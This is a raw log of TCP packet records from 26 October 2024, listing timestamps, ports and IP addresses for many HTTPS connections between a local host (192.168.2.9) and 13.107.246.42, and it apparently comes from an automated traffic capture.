Oct 26, 2024 13:46:35.324420929 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.324471951 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.324482918 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.324527979 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.324671984 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.324692011 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.324702978 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.324708939 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.327189922 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.327225924 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.327337980 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.327466965 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.327477932 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.329204082 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.329510927 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.329539061 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.329937935 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.329946041 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.461976051 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.462075949 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.462207079 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.462488890 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.462518930 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.462536097 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.462544918 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.465631008 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.465673923 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.465769053 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.465955973 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.465967894 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.805824041 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.806580067 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.806591988 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.807049036 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.807054043 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937035084 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937064886 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937115908 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.937144041 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937160969 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937206030 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.937398911 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.937418938 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.937429905 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.937436104 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.941915035 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.941957951 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.942018032 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.943398952 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.943414927 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.212443113 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.212877989 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.212903976 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.212929010 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.213344097 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.213349104 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.213555098 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.213573933 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.213906050 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.213913918 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.337254047 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.338044882 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.338059902 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.338633060 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.338640928 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341053009 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341085911 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341139078 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341171026 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.341216087 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.341633081 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.341651917 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341665030 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.341665983 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341670990 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.341970921 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.341984987 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.342350960 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.342358112 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.344690084 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.344758987 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.344779968 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.344809055 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.344814062 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.344862938 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.344923019 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.344934940 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.344948053 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.344953060 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.345056057 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.345066071 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.347532034 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.347568989 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.347640991 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.347779989 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.347789049 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.472001076 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.472112894 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.472187042 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.472414970 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.472414970 CEST	49952	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.472430944 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.472443104 CEST	443	49952	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.475471020 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.475509882 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.475624084 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.475795031 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.475806952 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.478584051 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.478650093 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.478698015 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.478801966 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.478813887 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.478842974 CEST	49953	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.478849888 CEST	443	49953	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.481045008 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.481085062 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.481164932 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.481302023 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.481313944 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.933106899 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.933537006 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.933566093 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:36.934119940 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:36.934128046 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.070096016 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.070394039 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.070444107 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.070486069 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.070503950 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.070544958 CEST	49954	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.070552111 CEST	443	49954	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.073153019 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.073196888 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.073254108 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.073405981 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.073417902 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.093945026 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.094413996 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.094429016 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.094882011 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.094888926 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.105138063 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.105639935 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.105665922 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.106172085 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.106178045 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.193734884 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.194679022 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.194679022 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.194705009 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.194716930 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.220724106 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.221879005 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.221893072 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.222467899 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.222471952 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225640059 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225668907 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225708961 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.225718975 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225730896 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225775957 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.225915909 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.225928068 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.225939989 CEST	49955	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.225945950 CEST	443	49955	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.228559971 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.228595018 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.228662014 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.228795052 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.228807926 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.241086960 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.241172075 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.241240025 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.241364002 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.241380930 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.241393089 CEST	49956	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.241399050 CEST	443	49956	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.243747950 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.243789911 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.243860006 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.243990898 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.244003057 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.322698116 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.323219061 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.323333979 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.323333979 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.323390007 CEST	49957	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.323404074 CEST	443	49957	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.326204062 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.326261044 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.326347113 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.326535940 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.326553106 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.353949070 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.353979111 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.354098082 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.354127884 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.354223013 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.354265928 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.354423046 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.354440928 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.354450941 CEST	49958	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.354456902 CEST	443	49958	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.357547045 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.357600927 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.357683897 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.357865095 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.357877970 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.818128109 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.818741083 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.818768024 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.819205046 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.819211960 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.948698044 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.948781967 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.948930979 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.951251984 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.951272964 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.951287031 CEST	49959	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.951292992 CEST	443	49959	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.954931021 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.954976082 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.955084085 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.955517054 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.955527067 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.975697994 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.976123095 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.976149082 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.976573944 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.976581097 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.986867905 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.987401009 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.987437963 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:37.987823009 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:37.987831116 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.049114943 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.049680948 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.049691916 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.050085068 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.050091028 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.080950975 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.081522942 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.081537008 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.081895113 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.081899881 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.107537031 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.107562065 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.107620001 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.107698917 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.107800961 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.108015060 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.108067036 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.108104944 CEST	49961	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.108124018 CEST	443	49961	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.110964060 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.111002922 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.111099005 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.111378908 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.111387014 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176240921 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176269054 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176368952 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.176462889 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176660061 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.176673889 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176686049 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.176867962 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176911116 CEST	443	49960	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.176951885 CEST	49960	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.177484035 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.177525043 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.177565098 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.177573919 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.177587032 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.177628040 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.177702904 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.177721024 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.177731037 CEST	49962	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.177736998 CEST	443	49962	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.179831028 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.179892063 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.179892063 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.179924011 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.179970026 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.179996014 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.180143118 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.180145979 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.180157900 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.180160046 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.210084915 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.210114956 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.210185051 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.210319042 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.210616112 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.210642099 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.210658073 CEST	49963	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.210664988 CEST	443	49963	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.213784933 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.213828087 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.213937044 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.214112997 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.214128971 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.706613064 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.707272053 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.707330942 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.707663059 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.707669973 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.840580940 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.840655088 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.840734005 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.840949059 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.840976954 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.840989113 CEST	49964	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.840996027 CEST	443	49964	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.844130993 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.844192982 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.844310045 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.844527006 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.844537973 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.861793041 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.862350941 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.862365007 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.862767935 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.862775087 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.909121990 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.909885883 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.909914970 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.910304070 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.910312891 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.935255051 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.935785055 CEST	49967	443	192.168.2.9	13.107.246.42
